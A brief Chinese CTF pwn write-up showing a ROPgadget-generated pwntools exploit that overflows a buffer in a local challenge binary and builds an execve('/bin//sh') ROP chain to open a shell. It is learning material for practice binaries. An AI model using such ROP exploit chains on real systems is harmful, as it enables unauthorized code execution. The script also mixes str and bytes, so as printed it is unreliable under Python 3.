这道题目和前面那道simplerop类似嗷,用了同样的方法,错了,很奇怪反正,不想找原因,先放着好了。
    于是百度了一下有这样的方法

    1. ROPgadget --binary rop --ropchain

    然后给你生成自动的代码,其实就是rop

    1. from pwn import*
    2. from struct import pack
    3. io = process('./rop')
    4. p = b'a'*(0xc+4)
    5. p += pack('<I', 0x0806ecda) # pop edx ; ret
    6. p += pack('<I', 0x080ea060) # @ .data
    7. p += pack('<I', 0x080b8016) # pop eax ; ret
    8. p += '/bin'
    9. p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    10. p += pack('<I', 0x0806ecda) # pop edx ; ret
    11. p += pack('<I', 0x080ea064) # @ .data + 4
    12. p += pack('<I', 0x080b8016) # pop eax ; ret
    13. p += '//sh'
    14. p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    15. p += pack('<I', 0x0806ecda) # pop edx ; ret
    16. p += pack('<I', 0x080ea068) # @ .data + 8
    17. p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    18. p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    19. p += pack('<I', 0x080481c9) # pop ebx ; ret
    20. p += pack('<I', 0x080ea060) # @ .data
    21. p += pack('<I', 0x080de769) # pop ecx ; ret
    22. p += pack('<I', 0x080ea068) # @ .data + 8
    23. p += pack('<I', 0x0806ecda) # pop edx ; ret
    24. p += pack('<I', 0x080ea068) # @ .data + 8
    25. p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    26. p += pack('<I', 0x0807a66f) # inc eax ; ret
    27. p += pack('<I', 0x0807a66f) # inc eax ; ret
    28. p += pack('<I', 0x0807a66f) # inc eax ; ret
    29. p += pack('<I', 0x0807a66f) # inc eax ; ret
    30. p += pack('<I', 0x0807a66f) # inc eax ; ret
    31. p += pack('<I', 0x0807a66f) # inc eax ; ret
    32. p += pack('<I', 0x0807a66f) # inc eax ; ret
    33. p += pack('<I', 0x0807a66f) # inc eax ; ret
    34. p += pack('<I', 0x0807a66f) # inc eax ; ret
    35. p += pack('<I', 0x0807a66f) # inc eax ; ret
    36. p += pack('<I', 0x0807a66f) # inc eax ; ret
    37. p += pack('<I', 0x0806c943) # int 0x80
    38. io.send(p)
    39. io.interactive()

    加个偏移就好了,当然前面那道题目也能这样做,但是有个问题,就是前面那道题目是有长度限制的,所以生成的rop代码要改短点,至于为什么这道题目用以前那个方法不行,还得再学习学习。